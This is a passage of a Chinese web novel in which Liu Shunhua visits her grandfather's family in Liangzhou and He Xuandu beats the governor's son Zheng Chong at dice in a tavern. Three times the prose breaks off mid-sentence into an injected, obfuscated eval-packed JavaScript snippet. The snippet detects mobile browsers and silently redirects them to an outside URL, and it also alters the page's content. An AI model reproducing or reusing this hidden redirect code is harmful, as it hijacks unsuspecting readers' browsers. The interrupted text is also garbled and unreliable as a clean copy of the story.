还未入城,柳舜华远远瞧见城门旁立着的两个少年人。两人各自牵了一匹马,正焦急地张望着。 柳舜华叫了声“停车”,掀开车帘一跃而下。 “大表哥,二表哥,你们怎么来了?” 两人围上去,对着柳舜华瞧了又瞧,生怕她有个好歹。 “我们算了时辰,你昨日应该到的,结果死活等不到你,祖父急得一晚上没睡。” “就是,父亲担心你遇到了贼匪,让我们一早在这候着,今日若是再等不到你,父亲就要报官了。” “舜华,你这一路可还顺利?” 两人七嘴八舌,问个不停。 柳舜华作势捂住头,“你们吵得我头疼,我这不好好呢吗?” 大表哥笑道:“这就头疼了,回去有更吵的等着你呢。莹儿那丫头,自收了你的信整日里念叨着,今日非要吵着跟过来,被父亲训斥了好一顿才消停。” 柳棠华也下了车,跟着柳舜华身后,乖巧地站着。 柳舜华拉过柳棠华向两人介绍,“这个是我妹妹,棠华,小名唤芊芊。” 两人笑道:“芊芊妹妹好,果然同舜华妹妹一样,是个讨喜的。” 柳舜华又指着两人道:“这个是大表哥,陈源。二表哥,陈新。” 柳棠华躬身问好,脆生生的声音带着几分天真娇俏,让人一听便心生欢喜。 大表哥陈源道:“这里风大,你们先上车,咱们也好快些回去,我怕祖父早已等不及了。” 二人上了马车,表哥们在前引路,一行人缓缓进了城。 凉州虽不及长安繁华,却是另一番没见过的景象。道路两旁卖着长安难得一见的小玩意,胡饼夹着羊肉的香气弥散在空中,葡萄酒旗帜飞扬,不时有些金发碧眼的西域商人穿梭…… 柳棠华瞧着新奇,拉着柳舜华的衣袖,“姐姐,他们好高啊,头发眼睛也和我们不一样。” 柳舜华自幼见惯了这些西域人,并不觉得稀罕,只悄声提醒,“你小声些,他们大多都是商人,在这里待得久了,听得懂你说什么的。” 柳棠华忙闭了嘴,将目光盯向路边的新鲜瓜果。 马车行至一个岔路口,左拐又行了一段路,鼎沸的人声渐渐淡去。不多时,便在一处人家停了下来。 柳舜华听大表哥说了声“到了”,便迫不及待跳下了马车。 陈家老爷子等得不耐,一早上让人去瞧了无数次。一听到马蹄声,不顾自己行动不便的双腿,抓起拐杖,令孙女陈莹半搀着便走了出去。 陈望与刘氏跟在后面急得大叫,“父亲小心些。” 陈老爷子踉跄出门,正看到从车上跳下来的柳舜华。 他一瞬怔然,顿住了脚步,没再往前,只是盯着柳舜华发愣。 柳舜华一下车,看到外祖,扑通一声跪在地上,眼泪滚滚直下。 “外孙不孝,这么晚才来看您。” 陈老爷子身子晃了一下,忙伸手去扶跪在地上的柳舜华,一把将她揽在怀中,老泪纵横,“我的蓁蓁啊,外祖……总算是见到你了。” 众人见此情形,无不落泪。 过了许久,才擦干眼泪,迎着她们进了门。 落定后,柳舜华先向众人介绍了棠华。 一家人对着柳棠华嘘寒问暖,陈莹见棠华与她同岁,欢喜不已,拉着她的手不丢,直言要带她玩遍凉州城。 柳舜华将父亲准备的礼物交给舅父打理,又让人将自己准备的箱子抬了上来,把采买好的礼物当场分给众人。 说起来,柳舜华能如此大方,多亏了贺玄度。 贺玄度离开长安前,曾命洪声送了她两枚金饼,说是照看绿玉的谢礼。 她本是想拒的,奈何洪声不肯收。 她原想着,等贺玄度回到长安,再亲自还回去,可左等右等,都未能等到贺玄度。 后来采买钱财不够,她索性拿出一枚金饼,兑换了铜钱。 谁知越买越上瘾,不出半日,一枚金饼就这么没了。 上辈子未嫁前,柳家不过是平常人家。 出嫁后又被困在相府自顾不暇,她哪有闲心随心所欲地采买。 如今活了二十余年,头一遭感受到肆意采买的乐趣。 柳舜华当即决定,将另一块金饼也带来凉州,以备不时之需。 至于要如何还给贺玄度?算了,退来退去的,倒显得生分了。 一家人欢欢喜喜地收下礼物,直赞柳舜华有心。 柳舜华最后才笑盈盈将一株山参拿出呈给外祖。 陈老爷子接过,摸了摸盒子,“人老了,吃这么好做什么,何必要浪费。” 柳舜华打趣道:“看来外祖是对外孙的礼物不满意,那明日我再去逛逛,买一件让您满意的去。” 陈老爷子笑了:“你这丫头,这么多年过去了,还是这么贫,和你母亲一个样。” 陈老爷子有两子一女,除老大健在外,其余皆不在人世。老二自幼夭折,年岁一大,他倒渐渐忘了。 可对他的幼女,柳舜华的母亲,他一直是疼爱有加,只可惜她红颜薄命,也已早早离世。 柳舜华越大越像她母亲,数年不见,方才她下车之时,陈老爷子好一阵恍惚。 接风午宴异常丰盛,满满一大桌子的菜,看得柳舜华都有些眼花缭乱。 “舜华,这个鱼是昨日刚钓上来养着的,没有刺的,你尝尝。” “这个羊肉从昨夜就炖上了,软烂得很,快试试。” “舜华姐姐,这些菌菇是我去山上捡的,可新鲜了。” “棠华啊,别拘着,都是自己人,多吃一点。” …… 两姐妹被不停地夹菜,腮帮子鼓鼓的,根本停不下来来。 一向贪吃的柳棠华,在吃了最后一块羊肉后,实在有些吃不下了,心满意足地放下碗筷。 舅母看着吃得满嘴流油的柳棠华,直叹道:“这孩子真好,吃什么都香,不像这几个小崽子,吃个饭总挑三拣四。真的是,让我觉得我这顿饭,做得值。” 柳舜华笑得倒在椅子上,“舅母,她能吃着呢,日后少不得要麻烦你多做些饭食。” 舅母拿了帕子给柳棠华擦嘴,“女孩子家的,能吃多少,咱们养得起。” 柳棠华擦了嘴,对着舅母道:“舅母做得太好吃了,比我们家做得好吃多了,我没忍住,就吃得多了些。” 舅母喜不自胜,“这孩子可真会说话,真叫人喜欢。” 吃过饭,陈老爷子问了柳家近况,得知一切安好,柳桓安高升,心中一时欢喜,一时又感慨起他那过世的女儿没福气。 老人家到底年纪大了,昨夜又担心了一晚,一夜未得好眠,不过闲坐片刻,便有些撑不住,柳舜华忙扶了外祖去休息。 柳棠华见柳舜华得闲,跑来兴奋道:“姐姐,莹儿说今日开夜市,我也想去见识一下。” 大安有夜禁,除重要节日,晚上一律不准无故游荡。 凉州城却是个例外。 因与西域诸国通商,又处在边境要道,每月月初,十五,以及月末夜间会开市,以便百姓进行贸易。 柳舜华幼时曾随舅舅逛过夜市,不过时日久远,早已忘了是何情景。 如今听棠华说起,她心中也是蠢蠢欲动。 凉州夜市流传二十余年,集市上虽偶有争斗,但毕竟是少数。柳舜华提议去夜市时,舅舅也并未反对,只是嘱咐两兄弟好好照看舜华她们。 三姐妹回屋收拾之际,柳舜华想起表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863693|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐陈茵。表姐是家中老大,如今已经嫁人。 幼年时,表姐待她一向亲厚。她时常跟在表姐身后,什么好吃的好玩的,但凡她喜欢,表姐都会毫不迟疑地让给她。 “莹儿,茵表姐不是嫁得不远,不知她晚些时候是否得空?若是得空,不如去请了茵表姐,咱们姐妹一起可好?” 莹儿正描眉的手顿了一下,脸上的笑倏忽僵住,“算了,她如今是大忙人,已经小半年不曾归省。前些时日祖父过寿,父亲亲自去请她回来探望,她都回绝了。还有,听说你要回来,家中也早差人去请她了,她却又推说忙。夫家高升,娘家自然配不上她这位贵夫人,还叫她作甚。” 柳舜华有些意外,印象中茵表姐性格温顺,为人敦厚老实,应不至于这么傲慢才是。 只是毕竟她已多年未见表姐,不好妄言,又不想惹莹儿不快,遂不再提。 一行人到夜市时已是人头攒动,充街塞陌。 十里长街挂起了各式花灯,灯火煌煌。酒楼商铺林立,不少铺子门前都安排了几个身穿薄衫的舞姬来招揽客人。街道两边满满当当的各式物件,看得人眼花缭乱。 往来人群穿着奇异者,数不胜数,有面具遮挡,互不相识,丝毫不必在意别的目光。 凉州夜市最初尚未经官府认证时,商贩之间多是私自交易,故为免被认出,多佩戴面具。如今夜市虽早已得官府认可,佩戴面具的习俗还是保留了下来。 入乡随俗,柳舜华也戴了一个蝴蝶面具,其余各人也都选了心仪的面具。 几人一路说说笑笑,柳棠华看什么都稀奇,一路走走停停。 路过几家酒楼时,陈莹说起了附近醉月居的胡姬古赞丽,夸她舞时喜赤足,旋转如风,随性洒脱,一舞动人心,无人可以抵抗。 柳棠华一听,蠢蠢欲动。 二表哥笑道:“还说我平日不务正业,这种声色之所,怎么你们一个个比我这个男子还要有兴致。” 陈莹撇嘴,“你们男子俗不可耐,看到美色便想据为己有,我们只是欣赏,怎么能一样。” 眼见两人又要吵起来,柳舜华忙打起圆场,“我在长安时,尤喜欢舞乐,只是还未见过胡姬跳舞,今日也想涨涨见识。” 大表哥豪爽一笑,“也好,他们家的葡萄酒,堪称一绝,许久未曾饮,我都有些馋了。” 二表哥一向听大表哥的话,自然不会再反对,一行人当即决定前往。 还未到醉月居,只听一声烟花炸响,空中霎时如星子散落,纷纷跌入人间。 人群瞬间沸腾起来,一窝蜂地向着烟花的方向冲去。 柳舜华出神地望着空中绽放的烟花,等再扭过头时,人已经被挤到挪不开脚步。 她看到大表哥紧紧拉着棠华的衣袖,对着她高喊:“老二,舜华,你们别慌,咱们醉月居见!” 柳舜华忙抬头去寻二表哥,她踮起脚,朝四周张望一圈,人群中却怎么也看不到二表哥的身影。 她有些慌张,猛一回头,才发现二表哥正站在身后。 人潮涌动,她拉紧二表哥的衣袖,“这里人多,咱们还是先避开吧。” 穿过拥挤的人群,直到走到街边石桥处,柳舜华才放开二表哥衣袖。 “方才真的好险,差点就要与表哥走散了。” 柳舜华轻喘着气,转身抬起头,才发现“二表哥”正双手抱胸,歪头看着她。 适才人多,她未曾留意,如今借着两岸的灯火一瞧,柳舜华才发觉有些不对。 她急着要看清些,一把摘下套在脸上的面具。 眼前之人虽与二表哥身量相当,带着一样的面具,同样身穿暗红柿蒂纹锦袍,腰间却多系了条玄色革带,头发简单束起,墨发肆意飞扬,姿态舒展又不羁,绝不是二表哥。 想起方才一路拉着个陌生人,柳舜华满是尴尬,不住垂头道歉,“实在对不住,我认错人了。” 两岸灯火璀璨,人声杳杳,桥下水波不止,光影浮动。 那人轻声一笑,悠然抬起一只手,缓缓将面具摘下,露出一张熟悉的脸来。 “柳舜华,好久不见。” 30. 第 30 章 漫天的烟花绽放在上空,拂云而过,盛开成一朵朵银色的花,落地成春。 光影明灭,烟尘如雾,贺玄度一张脸迷幻得似在梦中。 柳舜华几乎不敢相信自己的眼睛,她上前一步,语气中是难以掩饰的愉悦,“贺玄度,怎么是你?” 贺玄度将面具收在腰间,朝她笑道:“怎么,不知道我是谁,还敢拉着我跑一路?” 柳舜华没由来一阵心慌,生怕贺玄度误会,“你的面具和我二表哥一样,我认错了。” 贺玄度歪头看着她,“你怎么也来凉州了,不会是追着我来的吧?” 柳舜华脸上一红,“谁追着你了,你一声不响就走了,我怎么会知道你来了凉州。” 贺玄度点点头,“懂了,你是怪我没有同你打招呼。” 柳舜华知道他说话不着调,不再顺着他的话。 “我外祖家也在凉州,我是来看外祖的。” 贺玄度眉头一挑,“你怎么知道,我外祖家也在凉州?” 柳舜华心内一紧,面上却不显,“恕我直言,你们贺家的事,在长安城一向流传比较广。” 贺玄度想了想,这个倒是。如今继母为人高调,整个长安几乎无人不晓。长安城贵妇们看不惯她如此嚣张跋扈,对她的出身多有诟病。每提到她,总会拉出他母亲来对比。 柳舜华想到她认错了人,二表哥他们定会着急,不敢再逗留。 “我同表哥们说好了要去醉月居,耽搁这么久,只怕他们都要等急了。” 贺玄度一听,“这么巧,我也准备去那喝酒,我送你。” 人群熙熙攘攘,贺玄度走在前面,柳舜华亦步亦趋地跟着。 贺玄度扭头看了一眼身后的柳舜华,“抓住我的衣袖,别再走散了。” 上辈子,贺玄度是她的小叔,是她暗藏在心底的一缕光,不可碰不可摸。 方才她是认错了人,才牵着他的衣袖走了一路,如今听他这么说,她却犹豫了。 她本能想伸出手,但一垂头却发现,双手紧张得握成拳头,根本张不开。 她有些懊恼,如今重活一遭,她与他之间,根本没有任何道德束缚,还害怕这些做什么。 夜风温柔,柳梢头一钩弯月。 影子晃动在石桥上,两人身影重叠。 柳舜华心旌摇曳,鬼使神差般伸出手。 贺玄度见她迟迟不动,忍不住转身,一把扯过她的衣袖,将她的手放在自己衣角。 “磨磨蹭蹭的,还不快些,再慢酒楼都要关门了。” 柳舜华浑身一颤,整个人瞬间失了神志,拉着贺玄度的衣角,恍恍惚惚。 柔顺的丝绸入手微凉,滑腻腻的触感,让人如坠云端。 有风拂过,吹得柳舜华有几分清醒。 一瞬间,柳舜华欣喜若狂。 她觉得,她触摸到了月亮。 “到了。”贺玄度声音响在耳边。 柳舜华闻声抬头,正前方“醉月居”三个大字赫然在目。 他们走得也太快了些! 两人并肩而行,柳舜华才抬脚进门,迎面一只杯盏便飞了过来。 贺玄度眼疾手快,一把拉过柳舜华,将她扯到一边。 杯盏应声碎裂。 “你陈家不过是养马的,也敢动我?”说话之人言语中尽显嚣张。 柳舜华蹙眉,陈家,养马? 他说的不正是外祖家。 柳舜华抬头循着声音望去,果见表妹陈莹正举着一个坛子大骂,“你又是个什么东西,无耻下流的玩意。我们陈家行得端站得正,坦坦荡荡,不像你一肚子龌龊,带着个不知羞耻的女人招摇过市。” 陈莹越说越气,情绪激动,整个人脸涨得通红,被两个兄弟紧紧拉住。 围观的看客都躲在一旁,无一人敢上前去。 贺玄度一副看热闹的表情,对着柳舜华道:“这个姑娘,当真厉害。” 柳舜华看了他一眼,“她是我表妹,平日虽不拘小节,但也不至于如此。今日发这么大的火,定是受了什么委屈,气极了。” 贺玄度语气一转,嬉笑道:“原来是你表妹,真是女中豪杰。” “你知不知道她骂的是谁?如今的凉州刺史郑列的儿子,郑充。” 刺史家的公子,难怪店内出了这样的事,也不见店主出来周旋。 柳舜华瞧他衣衫半解,一脸豪横,毫无顾忌,便知不是个好相与的主。大约是怕得罪了他,家里要跟着遭殃,两个表兄这才拼命拦着莹表妹。 她这个表妹的脾气,天不怕地不怕,做事全由心。 柳舜华也忙走过去拉住表妹,“莹儿,有什么事,咱们慢慢说,先把东西放下好不好?” 陈莹自小便听柳舜华的话,一见是她,这才不情不愿地放下酒坛。 两兄弟手忙脚乱地拉着陈莹,也来不及细问柳舜华,只冲着她点了点头。 郑充正一脸不屑,一眼一瞥瞧见陈莹身边的柳舜华,一张脸娇嫩得似春日的桃花,目光流转间,天然一段动人风姿,顿觉浑身酥软。 大表哥低声劝道:“莹儿,为了大姐,你忍忍。” 陈莹听他提到大姐,怒气不消反涨,“就是为了大姐才不能忍,大庭广众之下,他公然携歌姬寻欢,将大姐置于何地?” 柳舜华总算听有些明白了,这个郑充便是她表姐夫。 二表哥跟着说道:“莹儿听话,就算你打了他一顿,又有什么用?这里人多,闹起来只会让大家难堪。” 陈莹好容易被劝住,气冲冲地坐下。 郑充身边的歌姬腻在他身上,毫不在意地缠着他的手臂。 她知晓,郑充对陈家根本就是有恃无恐。 “公子,这些人方才骂奴家不知羞耻,您就打算这么放过了?” 郑充不为所动,一双眼只盯着柳舜华看。 歌姬眼波一转,方才受了陈莹的羞辱,她有心也想让他们难堪。 于是攀上他的肩头,贴耳吹了一口气,“公子若是看上了这姑娘,我替你问问可好?” 郑充转头,一只手滑过歌姬白嫩的脸庞,“要不说我喜欢你呢,馆里这么多姑娘,就你最体贴。” 歌姬起身,腰肢轻摆,妖妖娆娆地走到柳舜华身边,“这位妹妹,不知如何称呼?” 几人方坐下,陈莹气还未顺,就见歌姬过来挑衅,且语言举止轻浮不堪,又见郑充一脸色相,瞬间反应过来。 陈莹登时大怒,猛地起身,一巴掌甩在那歌姬脸上,端起面前的酒杯泼了她一脸。 “哪里来的野鸭子,敢在这里嘎嘎乱叫。我表姐名讳,也是你配知道的。马上给我滚回去,不然我拧掉你的头。” 那歌姬知晓陈家大姑娘一向温柔软弱,只当二小姐是个雷声大雨点小的,才敢过来挑衅,不承想她竟真的下狠手。 她捂住红肿的脸,一头栽在郑充怀里,哭得梨花带雨。 “公子,奴没脸见人了。他们完全不将公子放在眼里,竟当着公子的面动手。” 郑充一再被驳了面子,霍然起身,对着陈莹骂道:“死丫头,别给脸不要脸。若不是我祖父,就凭你们区区养马的,你姐姐能入得了我们郑家。那个黄脸婆木讷蠢笨,给我提鞋都不配。你们这一家子的莽夫,还想做我们郑家的亲戚。” 此话一出,不但陈莹,就连陈家两个兄弟都忍不住了。 老大冲上前去,“郑充,我敬你是我姐夫,一再拦着,你却这般羞辱我们陈家,当真以为我们陈家怕你不成?” 老二也上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863694|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去理论,“你是刺史公子又如何,你不敬长辈,不恭亲友,就算告到衙门,也有我们的理。” 郑充冷冷地瞥了他们一眼,手一挥,一旁的五六个随从便站了出来,挡在前面。 那些随从个个身形高大魁梧,若真动起手来,自家兄弟肯定讨不到好处。 柳舜华有心想上前去劝解,但见表兄们一个个剑拔弩张,根本劝不住。 她想了一下,转头对郑充施礼,“表姐夫,你今日饮了些酒,便如此大动干戈,待酒醒之后,要如何面对郑刺史,又要如何面对表姐?” “我听闻郑刺史一向治家甚严,若是让他知晓表姐夫醉酒惹事,只怕会不快。还有表姐怎么也是刺史府的少夫人,她的脸面,便是郑家的脸面。您今日这番醉话,不是羞辱表姐,是在羞辱您郑府。” 方才他不经意透露,他本不愿娶表姐,只是迫于祖父的缘由。柳舜华便知,他同她见过的那些纨绔一样,虽在外胡混,却最怕家中的老子,所以才特意拿郑刺史来压他。又怕言语中有些威胁意味,反倒激得他恼羞成怒,将事情闹大,便以他醉酒为托,给足了他脸面。 郑充一愣,细一思索,她讲得的确有几分道理。 听她语气轻柔,言笑晏晏,心内又忍不住痒痒,一双贼眼肆无忌惮地打量着她。 “原来你便是陈茵那个长安的表妹,我就说嘛,凉州怎有如此水灵的人。”他嘴角一勾,笑道:“也罢,今日看在你的面子上,我就不追究了。” 柳舜华缓缓躬身,“多谢表姐夫。” 说罢,便上前去拉大表哥,提醒他不可冲动行事,一切回家再说。 “等等,表妹,我说了,是看在你的面子上不再追究。我给足了你面子,你是不是也要给我些面子?”郑充笑中充满戏谑。 柳舜华略一思忖,微仰起头,“表姐夫想要什么面子?” 郑充抬手倒了一杯酒,往前一推,“表妹赏脸喝点酒,咱们一笑泯恩仇。” 陈莹一下跳了出来,怒道:“姓郑的,你别太过分,看我不打……” 柳舜华将她拦下,冲着她摇摇头,“凉州的葡萄酒是珍品,一杯酒而已。” 她走上前,端起面前的酒杯,一饮而尽,而后将杯子倒扣过来。 “表姐夫,够了吗?” 郑充拍手道:“好好好,表妹是个爽快人。” 话锋又一转,“不过,我说请你喝酒,可没说只喝一杯。” 柳舜华心内冷笑,看来这个郑充,果然是从一开始便打定了主意,不肯罢休。 陈莹再也忍不了,一把拉开柳舜华,眼见着就要冲出去动手。 “喝酒太无聊,听闻郑公子擅赌,不如我们赌上几局如何?” 贺玄度扒开看热闹的人群,笑着对上郑充。 郑充抬眼瞥了下贺玄度,瞧着打扮倒是挺普通,不过这张小白脸,让他很不喜欢。 “你谁啊,本公子为什么要跟你赌?” 贺玄度笑得谦和有礼,指着柳舜华道:“我是这位柳小姐的……随从。” 柳舜华转头,看了他一眼,不觉低头一笑。 堂堂相府公子,竟然装她的下人,亏他想得出来。 陈家众人看着突然冒出来的贺玄度,有些懵。他们记得柳舜华来时,好像只带了个车夫,并未见有随从。 郑充哼了一声,“一个随从,哪里有你说话的份?” 柳舜华冷声道:“他的意思就是我的意思。” 郑充闻言,眉头一挑,“好啊,本公子正愁无趣。既然你要赌,那我就同你赌。不过我丑话说在前头,若是赌输了,我要你的随从跪下给我垫脚。还要……你陪着本公子,喝光这桌上所有的酒。” 他不怀好意地盯着柳舜华,“你确定,你要赌?” 31. 第 31 章 郑充打定主意不放过他们,即便不与他赌,他也未必会善罢甘休。 柳舜华望向贺玄度,想从他那里得到答案。 她虽与贺玄度相处时日不多,对他却也有些了解,他此刻提出对赌,应是有了对策。 贺玄度对她点了点头,目光中多了份沉稳与肯定。 这样的眼神,可靠又温柔,像极了上辈子那个熟悉的贺玄度。 这一瞬,她几乎可以肯定,贺玄度一定不会输。 她转身对上郑充,笃定道:“好,我同你赌。但若是你输了,我要你向我们陈家道歉。” 郑充张狂一笑,“你,输定了。” 他身子向前倾了倾,睨向贺玄度,“你说,赌什么?” 贺玄度随意坐了下来,伸手一摊,“郑公子身份尊贵,您定,我都可以。” 郑充狂笑,身边的随从也都跟着笑了起来。郑充常年混迹赌场,赌技更是一绝。 柳小姐这个家仆可真够狂妄的,竟然敢让他来定。 郑充冷笑一声,“我堂堂刺史府公子,需要你让。公子我也不欺负你,就按寻常赌法,猜骰子,五局定胜负。” 一旁站着的陈莹嗤笑,“嘴上说着不需要让,还不是选了自己最擅长的。” 贺玄度却毫不在意,“随你。” 很快,有人便将骰子拿了上来。 郑充将骰子扔给贺玄度,示意他检查有无问题。 贺玄度随意用手一捏,又掷了回去,“骰子没问题,可难保其他没问题。这些都是你的人,若是他们摇骰子,我不放心。” 郑充不耐道:“那你说如何?” 贺玄度抬眼看了一圈,随手指向楼梯上一个看热闹的舞姬,“就她吧。” 郑充是这里的常客,一眼认出那名舞姬不过就是给胡姬古赞丽伴舞的。 “可惜今日古赞丽不在,这个就勉强吧。” 醉月居内,客人喝得兴致上来,玩个骰子,再寻常不过。不过,往常给贵客们摇骰子助兴的,都是胡姬古赞丽。 那名舞姬见郑充点头,也不扭捏,款步走至桌前,举起骰盅摇起来。她到底是新手,摇得力度并不是很大,骰子在里面晃动不甚明显。 郑充嘴角藏不住笑意,他混迹赌场多年,结识不少能人,有几分听声辨骰的功夫。若是摇骰熟手,像是古赞丽那种,又快又猛,他精力的确要分外集中,才能勉强辨得一二。可如今这种,与他而言不过是小打小闹,听起来毫不费力。 “咚”地一声,舞姬落下骰盅。 贺玄度想也没想,抬手便将手中的酒杯推向小。 郑充轻蔑一笑,气定神闲地将酒杯放在大上。 众人屏气凝神,随着一声“开”,骰盅被舞姬缓缓掀开。 四、四、六,大。 郑充一把揽过旁边斜坐的歌姬,在她脸上拧了一把,心情大好,“区区一个随从,还妄想与本公子赌。” 一旁陈家两兄弟面面相觑,脸色瞬间不好看了,开局便输,实在不是好兆头。 陈莹顿觉不妙,用手碰了碰身旁的柳棠华,“这人真是你们随从,他能行吗?” 自郑列被提升为凉州刺史这两年,郑充便彻底卸下伪装,成日里不务正业,流连各大赌场,赌博猜拳这些,自是手到擒来。这人不过是个随从,如何赢得过。 柳棠华也不知贺玄度为何会与姐姐一同进来,还要冒充她们的随从与郑充赌。 实际上,她也急得直跺脚。 姐姐方才一是被气到了,才由着贺玄度去赌。 可愿赌服输,若当真输了,难道真要陪着这个无赖喝酒,任由他羞辱? 她神色焦急地看向柳舜华,不由怔住了。 姐姐面色平静,不见有任何慌张,只是望着贺玄度,平和而温柔。 那种眼神,她说不清。 但她知道,姐姐信他。 她道:“姐姐信他,我也信他。” 第二轮,那舞姬似乎找到了些感觉,开始摇得快了一些。 郑充听起来尚可,他抬眼看了下对面的贺玄度,只见他半闭着眼,似听非听,不知道在想什么。 陈家两兄弟暗自握紧了拳头。 关键性的一局,他可一定要争气才行。 等到骰盅揭开,陈家众人脸上一阵抽搐。 贺玄度,又输了。 郑充连赢两局,分外得意,朝着下人吩咐道:“去把酒给爷备上,有多少算多少,今日定要与表妹不醉不休。” 陈莹气得狠狠剜了他一眼,恨不得将他生吞活剥。又忍不住担忧地看向表姐,不懂她为何这么轻易答应一个随从,以至如今下不了台。 柳棠华也有些急了,她轻轻拉了一下柳舜华的衣袖,不安地望着她。 柳舜华拍拍她的肩膀,示意她放松。 可贺玄度已经连输两局,她如何能放松? 柳舜华只得凑到她耳边,轻声道:“你放心,贺玄度不会害我的,还有三局呢。” 是的,还有三局。 也就是说,接下来三局,贺玄度一定不能输。 嘴上虽这么安慰着,柳舜华依旧不免有些紧张。 郑充选择猜骰子,必定是他擅长的,从方才两场来看,也的确如此。 至于贺玄度…… 她突然记起兄长说过,贺玄度曾在赌坊一夜之间输了五万钱,不由忐忑起来。 如此看来,贺玄度赌技应是一般。既然他并不擅赌,那为何要提出与郑充对赌? 她实在想不出,接下来贺玄度要如何破局。 郑充睨了眼贺玄度,到底是个随从,只会逞口舌之能。接下来,他一定要让他输得一败涂地。 第三局,贺玄度依旧是此前漫不经心的样子,只是稍微敛了神色。 舞姬手中骰盅摇得更快了些,郑充眉头一皱,耳朵动了动,总算是确认了。 他看着对面的贺玄度,仰头道:“怎么,你先还是我先?” 贺玄度神色平静,“郑公子,请。” 郑充稳稳地将酒杯推向小,贺玄度随手一抬,选了大。 舞姬缓缓伸手,揭开骰盅。 郑充一脸自信,挑衅地望向贺玄度。 这场赌局,马上就要结束了。 “啊,啊,啊,赢了,赢了。”陈莹拉着柳棠华激动得尖叫起来。 陈家两兄弟长长松了口气。 贺玄度转头朝柳舜华一笑,示意她放宽心。 郑充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863695|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头望向桌面,傻眼了。 二、三、六,大。 明明是一、三、六,他听得真切,怎么可能会错? 他捶打着脑袋,怎么也想不明白。 贺玄度双手一拱,“郑公子,承让。” 郑充脸色铁青,“你不过才赢一局而已,本公子依旧领先。” 舞姬手中的骰盅越摇越顺手,郑充输了一局,不由紧张了起来。他瞥了一眼贺玄度,他闭目皱眉,似乎真的认真了起来。 郑充也不敢放松,忙集中精力,支起耳朵。 这次他听得真切,三、四、四。 骰盅落地,他不慌不忙道:“这次,你先来。” 贺玄度依旧是毫不迟疑,选了小。 郑充冷笑,这次他是真的输定了。 他盯紧着骰盅,看着舞姬细嫩纤细的双手将它揭开。 二、四、四,小。 郑充一下瘫软在椅背上,又错了。 他分明听得真切,为什么每次总是差那么一点点,难道是最近耳朵出了问题? 郑充陷入严重的自我怀疑。 他盯着贺玄度,见他从容依旧,甚至朝他挑眉一笑。 郑充瞬间暴怒,他终于反应过来。 眼前这个人,才是真正的高手。 他像猫捉老鼠一样,故意输了两局,就是为了戏弄他。 贺玄度抬了抬手,示意舞姬开最后一局。 郑充尤擅赌钱,凉州城的赌坊,背后大都是他在暗中操控。他混迹赌场多年,几无败绩,如今却被一个随从肆意戏弄。 他眼底充血,恶狠狠地盯着贺玄度。 贺玄度压根没去看他,又下意识回头看了一眼柳舜华。 柳舜华方才还有些紧张慌乱的心,如被春风抚过,一下安静下来。 杂乱的人声纷纷隐退,恍惚中柳舜华又回到了相府的莲池旁。 凉风过后,一池荷香,贺玄度坐在亭内,放下手中的书卷,朝着亭外的她柔和一笑。 郑充气得不轻,如此关头,他竟敢分心,分明是没将他放在眼里。 他稍一分神,再去听时,骰子摇得却是越来越快,只听得一个三、另一个是六。 舞姬将骰盅扣在桌上,等着两人下注。 郑充强行稳住心神,暗自琢磨。眼下这个情形,若要是小,除非另一个是一。 很明显,选大胜的机会更高。 他打定主意,不再同贺玄度周旋,抢先选了大。 贺玄度握住酒杯,低声笑道:“最后一局,定胜负,郑公子不再好好想想。” 郑充嗤然一笑,狠声道:“你别得意,待会你家主子陪着我喝酒的时候,你别忘了跪着给我倒酒。” “我若跪下,怕是你承受不起,”贺玄度选了小,依旧是笑着,“还是劳烦郑公子跪着道歉吧。” 舞姬慢慢揭开骰盅,众人纷纷聚上前去,一动不动地盯着桌面,等待这决定胜负的一刻。 “赢了,赢了……”陈家兄妹高呼,连一向守礼的大表哥都激动得叫出声来。 郑充浑身一僵,怎么偏偏是一,怎么会这么巧…… 贺玄度慢悠悠地倒了一杯酒,缓缓饮下,“郑公子,你输了。” 32. 第 32 章 郑充一向以他的赌技为傲,如今输得如此惨不忍睹,他怎肯服气。 他指着贺玄度吼道:“你耍诈,一定是你在耍诈。” 陈莹冷哼一声,高声道:“郑公子是输不起吗?咱们这么多双眼睛瞧着,哪个看到他耍诈了?” 大表哥:“你说他耍诈,那倒是说说,他如何耍诈,不能空口白牙的诬人。” 二表哥:“骰子是你的,骰盅是醉月居的,至于这位舞姬,瞧着也是醉月居的,而且一看便是摇骰的新手,不知哪里能耍诈?” 郑充被几人问得哑口无言,气急败坏,一把掀翻了面前的桌子。 柳舜华离得近,眼见就要被砸到,贺玄度忙侧身挡了一下,冷不丁被桌上飞溅过来的碎片划伤了手。 柳舜华回过神,忙走过去,顾不得其他,掏出手帕替他包住伤口。 